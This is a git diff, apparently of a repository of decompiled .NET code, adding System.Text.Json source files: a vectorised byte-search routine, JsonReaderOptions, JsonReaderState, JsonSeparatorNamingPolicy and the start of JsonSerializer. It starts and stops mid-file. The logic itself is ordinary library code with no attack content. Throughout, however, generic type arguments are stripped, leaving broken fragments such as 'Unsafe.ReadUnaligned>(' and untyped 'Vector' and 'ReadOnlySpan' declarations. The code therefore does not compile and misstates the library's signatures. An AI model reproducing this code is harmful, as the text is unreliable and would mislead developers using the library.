<= num2) + { + num2 = Unsafe.AddByteOffset(ref reference, intPtr + 4); + if (34 != num2 && 92 != num2 && 32 <= num2) + { + num2 = Unsafe.AddByteOffset(ref reference, intPtr + 5); + if (34 != num2 && 92 != num2 && 32 <= num2) + { + num2 = Unsafe.AddByteOffset(ref reference, intPtr + 6); + if (34 != num2 && 92 != num2 && 32 <= num2) + { + num2 = Unsafe.AddByteOffset(ref reference, intPtr + 7); + if (34 == num2 || 92 == num2 || 32 > num2) + { + break; + } + intPtr += 8; + continue; + } + return (int)(void*)(intPtr + 6); + } + return (int)(void*)(intPtr + 5); + } + return (int)(void*)(intPtr + 4); + } + goto IL_03d6; + } + if ((nuint)(void*)intPtr2 >= (nuint)4u) + { + intPtr2 -= 4; + uint num2 = Unsafe.AddByteOffset(ref reference, intPtr); + if (34 == num2 || 92 == num2 || 32 > num2) + { + goto IL_03b2; + } + num2 = Unsafe.AddByteOffset(ref reference, intPtr + 1); + if (34 == num2 || 92 == num2 || 32 > num2) + { + goto IL_03ba; + } + num2 = Unsafe.AddByteOffset(ref reference, intPtr + 2); + if (34 == num2 || 92 == num2 || 32 > num2) + { + goto IL_03c8; + } + num2 = Unsafe.AddByteOffset(ref reference, intPtr + 3); + if (34 == num2 || 92 == num2 || 32 > num2) + { + goto IL_03d6; + } + intPtr += 4; + } + while ((void*)intPtr2 != null) + { + intPtr2 -= 1; + uint num2 = Unsafe.AddByteOffset(ref reference, intPtr); + if (34 != num2 && 92 != num2 && 32 <= num2) + { + intPtr += 1; + continue; + } + goto IL_03b2; + } + if (Vector.IsHardwareAccelerated && (int)(void*)intPtr < length) + { + intPtr2 = (IntPtr)((length - (int)(void*)intPtr) & ~(Vector.Count - 1)); + Vector right = new Vector(34); + Vector right2 = new Vector(92); + Vector right3 = new Vector(32); + for (; (void*)intPtr2 > (void*)intPtr; intPtr += Vector.Count) + { + Vector left = Unsafe.ReadUnaligned>(in Unsafe.AddByteOffset(ref reference, intPtr)); + Vector vector = Vector.BitwiseOr(Vector.BitwiseOr(Vector.Equals(left, right), Vector.Equals(left, right2)), Vector.LessThan(left, right3)); + if (!Vector.Zero.Equals(vector)) + { + return (int)(void*)intPtr + LocateFirstFoundByte(vector); + } + } + if ((int)(void*)intPtr < length) + { + intPtr2 = (IntPtr)(length - (int)(void*)intPtr); + continue; + } + } + return -1; + IL_03b2: + return (int)(void*)intPtr; + IL_03ba: + return (int)(void*)(intPtr + 1); + IL_03d6: + return (int)(void*)(intPtr + 3); + IL_03c8: + return (int)(void*)(intPtr + 2); + } + return (int)(void*)(intPtr + 7); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int LocateFirstFoundByte(Vector match) + { + Vector vector = Vector.AsVectorUInt64(match); + ulong num = 0uL; + int i; + for (i = 0; i < Vector.Count; i++) + { + num = vector[i]; + if (num != 0L) + { + break; + } + } + return i * 8 + LocateFirstFoundByte(num); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private static int LocateFirstFoundByte(ulong match) + { + ulong num = match ^ (match - 1); + return (int)(num * 283686952306184L >> 57); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonReaderOptions.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonReaderOptions.cs new file mode 100644 index 0000000..862c955 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonReaderOptions.cs @@ -0,0 +1,44 @@ +namespace System.Text.Json; + +public struct JsonReaderOptions +{ + internal const int DefaultMaxDepth = 64; + + private int _maxDepth; + + private JsonCommentHandling _commentHandling; + + public JsonCommentHandling CommentHandling + { + readonly get + { + return _commentHandling; + } + set + { + if ((int)value > 2) + { + ThrowHelper.ThrowArgumentOutOfRangeException_CommentEnumMustBeInRange("value"); + } + _commentHandling = value; + } + } + + public int MaxDepth + { + readonly get + { + return _maxDepth; + } + set + { + if (value < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException_MaxDepthMustBePositive("value"); + } + _maxDepth = value; + } + } + + public bool AllowTrailingCommas { get; set; } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonReaderState.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonReaderState.cs new file mode 100644 index 0000000..ecafccc --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonReaderState.cs @@ -0,0 +1,26 @@ +namespace System.Text.Json; + +public struct JsonReaderState(JsonReaderOptions options = default(JsonReaderOptions)) +{ + internal long _lineNumber = 0L; + + internal long _bytePositionInLine = 0L; + + internal bool _inObject = false; + + internal bool _isNotPrimitive = false; + + internal bool _valueIsEscaped = false; + + internal bool _trailingCommaBeforeComment = false; + + internal JsonTokenType _tokenType = JsonTokenType.None; + + internal JsonTokenType _previousTokenType = JsonTokenType.None; + + internal JsonReaderOptions _readerOptions = options; + + internal BitStack _bitStack = default(BitStack); + + public JsonReaderOptions Options => _readerOptions; +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonSeparatorNamingPolicy.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonSeparatorNamingPolicy.cs new file mode 100644 index 0000000..f4aa5cf --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonSeparatorNamingPolicy.cs @@ -0,0 +1,126 @@ +using System.Buffers; +using System.Globalization; +using System.Runtime.CompilerServices; + +namespace System.Text.Json; + +internal abstract class JsonSeparatorNamingPolicy : JsonNamingPolicy +{ + private enum SeparatorState + { + NotStarted, + UppercaseLetter, + LowercaseLetterOrDigit, + SpaceSeparator + } + + private readonly bool _lowercase; + + private readonly char _separator; + + internal JsonSeparatorNamingPolicy(bool lowercase, char separator) + { + _lowercase = lowercase; + _separator = separator; + } + + public sealed override string ConvertName(string name) + { + if (name == null) + { + ThrowHelper.ThrowArgumentNullException("name"); + } + return ConvertNameCore(_separator, _lowercase, name.AsSpan()); + } + + private static string ConvertNameCore(char separator, bool lowercase, ReadOnlySpan chars) + { + char[] rentedBuffer = null; + int num = (int)(1.2 * (double)chars.Length); + Span span = ((num > 128) ? ((Span)(rentedBuffer = ArrayPool.Shared.Rent(num))) : stackalloc char[128]); + Span destination = span; + SeparatorState separatorState = SeparatorState.NotStarted; + int charsWritten = 0; + for (int i = 0; i < chars.Length; i++) + { + char c = chars[i]; + UnicodeCategory unicodeCategory = char.GetUnicodeCategory(c); + switch (unicodeCategory) + { + case UnicodeCategory.UppercaseLetter: + switch (separatorState) + { + case SeparatorState.LowercaseLetterOrDigit: + case SeparatorState.SpaceSeparator: + WriteChar(separator, ref destination); + break; + case SeparatorState.UppercaseLetter: + if (i + 1 < chars.Length && char.IsLower(chars[i + 1])) + { + WriteChar(separator, ref destination); + } + break; + } + if (lowercase) + { + c = char.ToLowerInvariant(c); + } + WriteChar(c, ref destination); + separatorState = SeparatorState.UppercaseLetter; + break; + case UnicodeCategory.LowercaseLetter: + case UnicodeCategory.DecimalDigitNumber: + if (separatorState == SeparatorState.SpaceSeparator) + { + WriteChar(separator, ref destination); + } + if (!lowercase && unicodeCategory == UnicodeCategory.LowercaseLetter) + { + c = char.ToUpperInvariant(c); + } + WriteChar(c, ref destination); + separatorState = SeparatorState.LowercaseLetterOrDigit; + break; + case UnicodeCategory.SpaceSeparator: + if (separatorState != SeparatorState.NotStarted) + { + separatorState = SeparatorState.SpaceSeparator; + } + break; + default: + WriteChar(c, ref destination); + separatorState = SeparatorState.NotStarted; + break; + } + } + string result = destination.Slice(0, charsWritten).ToString(); + if (rentedBuffer != null) + { + destination.Slice(0, charsWritten).Clear(); + ArrayPool.Shared.Return(rentedBuffer); + } + return result; + void ExpandBuffer(ref Span reference) + { + int minimumLength = checked(reference.Length * 2); + char[] array = ArrayPool.Shared.Rent(minimumLength); + reference.CopyTo(array); + if (rentedBuffer != null) + { + reference.Slice(0, charsWritten).Clear(); + ArrayPool.Shared.Return(rentedBuffer); + } + rentedBuffer = array; + reference = rentedBuffer; + } + [MethodImpl(MethodImplOptions.AggressiveInlining)] + void WriteChar(char value, ref Span reference) + { + if (charsWritten == reference.Length) + { + ExpandBuffer(ref reference); + } + reference[charsWritten++] = value; + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/JsonSerializer.cs b/decompiled/Libraries/system.text.json/System.Text.Json/JsonSerializer.cs new file mode 100644 index 0000000..409cef3 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/JsonSerializer.cs @@ -0,0 +1,2127 @@ +using System.Buffers; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.IO; +using System.Runtime.CompilerServices; +using System.Text.Json.Nodes; +using System.Text.Json.Serialization; +using System.Text.Json.Serialization.Converters; +using System.Text.Json.Serialization.Metadata; +using System.Threading; +using System.Threading.Tasks; + +namespace System.Text.Json; + +public static class JsonSerializer +{ + internal const string SerializationUnreferencedCodeMessage = "JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved."; + + internal const string SerializationRequiresDynamicCodeMessage = "JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications."; + + internal const string IdPropertyName = "$id"; + + internal const string RefPropertyName = "$ref"; + + internal const string TypePropertyName = "$type"; + + internal const string ValuesPropertyName = "$values"; + + private static readonly byte[] s_idPropertyName = "$id"u8.ToArray(); + + private static readonly byte[] s_refPropertyName = "$ref"u8.ToArray(); + + private static readonly byte[] s_typePropertyName = "$type"u8.ToArray(); + + private static readonly byte[] s_valuesPropertyName = "$values"u8.ToArray(); + + internal static readonly JsonEncodedText s_metadataId = JsonEncodedText.Encode("$id"); + + internal static readonly JsonEncodedText s_metadataRef = JsonEncodedText.Encode("$ref"); + + internal static readonly JsonEncodedText s_metadataType = JsonEncodedText.Encode("$type"); + + internal static readonly JsonEncodedText s_metadataValues = JsonEncodedText.Encode("$values"); + + internal const float FlushThreshold = 0.9f; + + public static bool IsReflectionEnabledByDefault { get; } = !AppContext.TryGetSwitch("System.Text.Json.JsonSerializer.IsReflectionEnabledByDefault", out var isEnabled) || isEnabled; + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static TValue? Deserialize(this JsonDocument document, JsonSerializerOptions? options = null) + { + if (document == null) + { + ThrowHelper.ThrowArgumentNullException("document"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options); + ReadOnlySpan span = document.GetRootRawValue().Span; + return ReadFromSpan(span, typeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static object? Deserialize(this JsonDocument document, Type returnType, JsonSerializerOptions? options = null) + { + if (document == null) + { + ThrowHelper.ThrowArgumentNullException("document"); + } + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options, returnType); + ReadOnlySpan span = document.GetRootRawValue().Span; + return ReadFromSpanAsObject(span, typeInfo); + } + + public static TValue? Deserialize(this JsonDocument document, JsonTypeInfo jsonTypeInfo) + { + if (document == null) + { + ThrowHelper.ThrowArgumentNullException("document"); + } + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + ReadOnlySpan span = document.GetRootRawValue().Span; + return ReadFromSpan(span, jsonTypeInfo); + } + + public static object? Deserialize(this JsonDocument document, JsonTypeInfo jsonTypeInfo) + { + if (document == null) + { + ThrowHelper.ThrowArgumentNullException("document"); + } + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + ReadOnlySpan span = document.GetRootRawValue().Span; + return ReadFromSpanAsObject(span, jsonTypeInfo); + } + + public static object? Deserialize(this JsonDocument document, Type returnType, JsonSerializerContext context) + { + if (document == null) + { + ThrowHelper.ThrowArgumentNullException("document"); + } + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + JsonTypeInfo typeInfo = GetTypeInfo(context, returnType); + ReadOnlySpan span = document.GetRootRawValue().Span; + return ReadFromSpanAsObject(span, typeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static TValue? Deserialize(this JsonElement element, JsonSerializerOptions? options = null) + { + JsonTypeInfo typeInfo = GetTypeInfo(options); + ReadOnlySpan span = element.GetRawValue().Span; + return ReadFromSpan(span, typeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static object? Deserialize(this JsonElement element, Type returnType, JsonSerializerOptions? options = null) + { + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options, returnType); + ReadOnlySpan span = element.GetRawValue().Span; + return ReadFromSpanAsObject(span, typeInfo); + } + + public static TValue? Deserialize(this JsonElement element, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + ReadOnlySpan span = element.GetRawValue().Span; + return ReadFromSpan(span, jsonTypeInfo); + } + + public static object? Deserialize(this JsonElement element, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + ReadOnlySpan span = element.GetRawValue().Span; + return ReadFromSpanAsObject(span, jsonTypeInfo); + } + + public static object? Deserialize(this JsonElement element, Type returnType, JsonSerializerContext context) + { + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + JsonTypeInfo typeInfo = GetTypeInfo(context, returnType); + ReadOnlySpan span = element.GetRawValue().Span; + return ReadFromSpanAsObject(span, typeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static TValue? Deserialize(this JsonNode? node, JsonSerializerOptions? options = null) + { + JsonTypeInfo typeInfo = GetTypeInfo(options); + return ReadFromNode(node, typeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static object? Deserialize(this JsonNode? node, Type returnType, JsonSerializerOptions? options = null) + { + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + JsonTypeInfo typeInfo = GetTypeInfo(options, returnType); + return ReadFromNodeAsObject(node, typeInfo); + } + + public static TValue? Deserialize(this JsonNode? node, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return ReadFromNode(node, jsonTypeInfo); + } + + public static object? Deserialize(this JsonNode? node, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return ReadFromNodeAsObject(node, jsonTypeInfo); + } + + public static object? Deserialize(this JsonNode? node, Type returnType, JsonSerializerContext context) + { + if ((object)returnType == null) + { + ThrowHelper.ThrowArgumentNullException("returnType"); + } + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + JsonTypeInfo typeInfo = GetTypeInfo(context, returnType); + return ReadFromNodeAsObject(node, typeInfo); + } + + private static TValue ReadFromNode(JsonNode node, JsonTypeInfo jsonTypeInfo) + { + JsonSerializerOptions options = jsonTypeInfo.Options; + using PooledByteBufferWriter pooledByteBufferWriter = new PooledByteBufferWriter(options.DefaultBufferSize); + using (Utf8JsonWriter utf8JsonWriter = new Utf8JsonWriter(pooledByteBufferWriter, options.GetWriterOptions())) + { + if (node == null) + { + utf8JsonWriter.WriteNullValue(); + } + else + { + node.WriteTo(utf8JsonWriter, options); + } + } + return ReadFromSpan(pooledByteBufferWriter.WrittenMemory.Span, jsonTypeInfo); + } + + private static object ReadFromNodeAsObject(JsonNode node, JsonTypeInfo jsonTypeInfo) + { + JsonSerializerOptions options = jsonTypeInfo.Options; + using PooledByteBufferWriter pooledByteBufferWriter = new PooledByteBufferWriter(options.DefaultBufferSize); + using (Utf8JsonWriter utf8JsonWriter = new Utf8JsonWriter(pooledByteBufferWriter, options.GetWriterOptions())) + { + if (node == null) + { + utf8JsonWriter.WriteNullValue(); + } + else + { + node.WriteTo(utf8JsonWriter, options); + } + } + return ReadFromSpanAsObject(pooledByteBufferWriter.WrittenMemory.Span, jsonTypeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static JsonDocument SerializeToDocument(TValue value, JsonSerializerOptions? options = null) + { + JsonTypeInfo typeInfo = GetTypeInfo(options); + return WriteDocument(in value, typeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static JsonDocument SerializeToDocument(object? value, Type inputType, JsonSerializerOptions? options = null) + { + ValidateInputType(value, inputType); + JsonTypeInfo typeInfo = GetTypeInfo(options, inputType); + return WriteDocumentAsObject(value, typeInfo); + } + + public static JsonDocument SerializeToDocument(TValue value, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return WriteDocument(in value, jsonTypeInfo); + } + + public static JsonDocument SerializeToDocument(object? value, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return WriteDocumentAsObject(value, jsonTypeInfo); + } + + public static JsonDocument SerializeToDocument(object? value, Type inputType, JsonSerializerContext context) + { + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + ValidateInputType(value, inputType); + return WriteDocumentAsObject(value, GetTypeInfo(context, inputType)); + } + + private static JsonDocument WriteDocument(in TValue value, JsonTypeInfo jsonTypeInfo) + { + JsonSerializerOptions options = jsonTypeInfo.Options; + PooledByteBufferWriter pooledByteBufferWriter = new PooledByteBufferWriter(options.DefaultBufferSize); + Utf8JsonWriter writer = Utf8JsonWriterCache.RentWriter(options, pooledByteBufferWriter); + try + { + jsonTypeInfo.Serialize(writer, in value); + return JsonDocument.ParseRented(pooledByteBufferWriter, options.GetDocumentOptions()); + } + finally + { + Utf8JsonWriterCache.ReturnWriter(writer); + } + } + + private static JsonDocument WriteDocumentAsObject(object value, JsonTypeInfo jsonTypeInfo) + { + JsonSerializerOptions options = jsonTypeInfo.Options; + PooledByteBufferWriter pooledByteBufferWriter = new PooledByteBufferWriter(options.DefaultBufferSize); + Utf8JsonWriter writer = Utf8JsonWriterCache.RentWriter(options, pooledByteBufferWriter); + try + { + jsonTypeInfo.SerializeAsObject(writer, value); + return JsonDocument.ParseRented(pooledByteBufferWriter, options.GetDocumentOptions()); + } + finally + { + Utf8JsonWriterCache.ReturnWriter(writer); + } + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static JsonElement SerializeToElement(TValue value, JsonSerializerOptions? options = null) + { + JsonTypeInfo typeInfo = GetTypeInfo(options); + return WriteElement(in value, typeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static JsonElement SerializeToElement(object? value, Type inputType, JsonSerializerOptions? options = null) + { + ValidateInputType(value, inputType); + JsonTypeInfo typeInfo = GetTypeInfo(options, inputType); + return WriteElementAsObject(value, typeInfo); + } + + public static JsonElement SerializeToElement(TValue value, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return WriteElement(in value, jsonTypeInfo); + } + + public static JsonElement SerializeToElement(object? value, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return WriteElementAsObject(value, jsonTypeInfo); + } + + public static JsonElement SerializeToElement(object? value, Type inputType, JsonSerializerContext context) + { + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + ValidateInputType(value, inputType); + JsonTypeInfo typeInfo = GetTypeInfo(context, inputType); + return WriteElementAsObject(value, typeInfo); + } + + private static JsonElement WriteElement(in TValue value, JsonTypeInfo jsonTypeInfo) + { + JsonSerializerOptions options = jsonTypeInfo.Options; + PooledByteBufferWriter bufferWriter; + Utf8JsonWriter writer = Utf8JsonWriterCache.RentWriterAndBuffer(jsonTypeInfo.Options, out bufferWriter); + try + { + jsonTypeInfo.Serialize(writer, in value); + return JsonElement.ParseValue(bufferWriter.WrittenMemory.Span, options.GetDocumentOptions()); + } + finally + { + Utf8JsonWriterCache.ReturnWriterAndBuffer(writer, bufferWriter); + } + } + + private static JsonElement WriteElementAsObject(object value, JsonTypeInfo jsonTypeInfo) + { + JsonSerializerOptions options = jsonTypeInfo.Options; + PooledByteBufferWriter bufferWriter; + Utf8JsonWriter writer = Utf8JsonWriterCache.RentWriterAndBuffer(jsonTypeInfo.Options, out bufferWriter); + try + { + jsonTypeInfo.SerializeAsObject(writer, value); + return JsonElement.ParseValue(bufferWriter.WrittenMemory.Span, options.GetDocumentOptions()); + } + finally + { + Utf8JsonWriterCache.ReturnWriterAndBuffer(writer, bufferWriter); + } + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static JsonNode? SerializeToNode(TValue value, JsonSerializerOptions? options = null) + { + JsonTypeInfo typeInfo = GetTypeInfo(options); + return WriteNode(in value, typeInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public static JsonNode? SerializeToNode(object? value, Type inputType, JsonSerializerOptions? options = null) + { + ValidateInputType(value, inputType); + JsonTypeInfo typeInfo = GetTypeInfo(options, inputType); + return WriteNodeAsObject(value, typeInfo); + } + + public static JsonNode? SerializeToNode(TValue value, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return WriteNode(in value, jsonTypeInfo); + } + + public static JsonNode? SerializeToNode(object? value, JsonTypeInfo jsonTypeInfo) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + jsonTypeInfo.EnsureConfigured(); + return WriteNodeAsObject(value, jsonTypeInfo); + } + + public static JsonNode? SerializeToNode(object? value, Type inputType, JsonSerializerContext context) + { + if (context == null) + { + ThrowHelper.ThrowArgumentNullException("context"); + } + ValidateInputType(value, inputType); + JsonTypeInfo typeInfo = GetTypeInfo(context, inputType); + return WriteNodeAsObject(value, typeInfo); + } + + private static JsonNode WriteNode(in TValue value, JsonTypeInfo jsonTypeInfo) + { + JsonSerializerOptions options = jsonTypeInfo.Options; + PooledByteBufferWriter bufferWriter; + Utf8JsonWriter writer = Utf8JsonWriterCache.RentWriterAndBuffer(jsonTypeInfo.Options, out bufferWriter); + try + { + jsonTypeInfo.Serialize(writer, in value); + return JsonNode.Parse(bufferWriter.WrittenMemory.Span, options.GetNodeOptions(), options.GetDocumentOptions()); + } + finally + { + Utf8JsonWriterCache.ReturnWriterAndBuffer(writer, bufferWriter); + } + } + + private static JsonNode WriteNodeAsObject(object value, JsonTypeInfo jsonTypeInfo) + { + JsonSerializerOptions options = jsonTypeInfo.Options; + PooledByteBufferWriter bufferWriter; + Utf8JsonWriter writer = Utf8JsonWriterCache.RentWriterAndBuffer(jsonTypeInfo.Options, out bufferWriter); + try + { + jsonTypeInfo.SerializeAsObject(writer, value); + return JsonNode.Parse(bufferWriter.WrittenMemory.Span, options.GetNodeOptions(), options.GetDocumentOptions()); + } + finally + { + Utf8JsonWriterCache.ReturnWriterAndBuffer(writer, bufferWriter); + } + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private static JsonTypeInfo GetTypeInfo(JsonSerializerOptions options, Type inputType) + { + if (options == null) + { + options = JsonSerializerOptions.Default; + } + options.MakeReadOnly(populateMissingResolver: true); + if (!(inputType == JsonTypeInfo.ObjectType)) + { + return options.GetTypeInfoForRootType(inputType); + } + return options.ObjectTypeInfo; + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private static JsonTypeInfo GetTypeInfo(JsonSerializerOptions options) + { + return (JsonTypeInfo)GetTypeInfo(options, typeof(T)); + } + + private static JsonTypeInfo GetTypeInfo(JsonSerializerContext context, Type inputType) + { + JsonTypeInfo typeInfo = context.GetTypeInfo(inputType); + if (typeInfo == null) + { + ThrowHelper.ThrowInvalidOperationException_NoMetadataForType(inputType, context); + } + typeInfo.EnsureConfigured(); + return typeInfo; + } + + private static void ValidateInputType(object value, Type inputType) + { + if ((object)inputType == null) + { + ThrowHelper.ThrowArgumentNullException("inputType"); + } + if (value != null) + { + Type type = value.GetType(); + if (!inputType.IsAssignableFrom(type)) + { + ThrowHelper.ThrowArgumentException_DeserializeWrongType(inputType, value); + } + } + } + + internal static bool IsValidNumberHandlingValue(JsonNumberHandling handling) + { + return JsonHelpers.IsInRangeInclusive((int)handling, 0, 7); + } + + internal static bool IsValidCreationHandlingValue(JsonObjectCreationHandling handling) + { + if ((uint)handling <= 1u) + { + return true; + } + return false; + } + + internal static bool IsValidUnmappedMemberHandlingValue(JsonUnmappedMemberHandling handling) + { + if ((uint)handling <= 1u) + { + return true; + } + return false; + } + + [return: NotNullIfNotNull("value")] + internal static T UnboxOnRead(object value) + { + if (value == null) + { + if (default(T) != null) + { + ThrowUnableToCastValue(value); + } + return default(T); + } + if (value is T) + { + return (T)value; + } + ThrowUnableToCastValue(value); + return default(T); + static void ThrowUnableToCastValue(object obj) + { + if (obj == null) + { + ThrowHelper.ThrowInvalidOperationException_DeserializeUnableToAssignNull(typeof(T)); + } + else + { + ThrowHelper.ThrowInvalidCastException_DeserializeUnableToAssignValue(obj.GetType(), typeof(T)); + } + } + } + + [return: NotNullIfNotNull("value")] + internal static T UnboxOnWrite(object value) + { + if (default(T) != null && value == null) + { + ThrowHelper.ThrowJsonException_DeserializeUnableToConvertValue(typeof(T)); + } + return (T)value; + } + + internal static bool TryReadMetadata(JsonConverter converter, JsonTypeInfo 